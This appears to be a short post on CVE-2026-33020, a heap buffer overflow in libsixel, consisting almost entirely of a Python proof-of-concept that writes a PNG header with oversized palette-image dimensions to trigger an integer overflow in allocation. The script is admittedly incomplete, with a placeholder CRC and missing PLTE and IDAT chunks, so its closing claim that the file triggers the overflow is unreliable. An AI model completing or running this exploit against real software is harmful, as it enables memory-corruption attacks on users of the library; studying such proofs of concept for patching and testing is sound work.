CVE-2026-33020 libsixel堆缓冲区溢出漏洞

# Proof of Concept for CVE-2026-33020 # Conceptual script to generate a large PNG that triggers the overflow. import struct def generate_malicious_png(filename): # Dimensions chosen to exceed INT_MAX / 4 (approx 536 million pixels) # triggering the int overflow in allocation size calculation. width = 65536 height = 8192 # PNG Signature sig = b'\x89PNG\r\n\x1a\n' # IHDR Chunk (Width, Height, BitDepth=8, ColorType=3 for Palette) ihdr_data = struct.pack(">IIBBBBB", width, height, 8, 3, 0, 0, 0) # Calculate CRC (simplified for PoC structure, real exploit needs valid CRC) crc = 0 # Placeholder ihdr_chunk = struct.pack(">I", len(ihdr_data)) + b"IHDR" + ihdr_data + struct.pack(">I", crc) with open(filename, "wb") as f: f.write(sig) f.write(ihdr_chunk) # Note: A fully functional exploit requires valid PLTE and IDAT chunks. # This structure demonstrates the vector (large palette image). print(f"[+] Created {filename} with dimensions {width}x{height}.") print(f"[+] Processing this file with vulnerable libsixel triggers the heap overflow.") if __name__ == "__main__": generate_malicious_png("exploit_cve_2026_33020.png")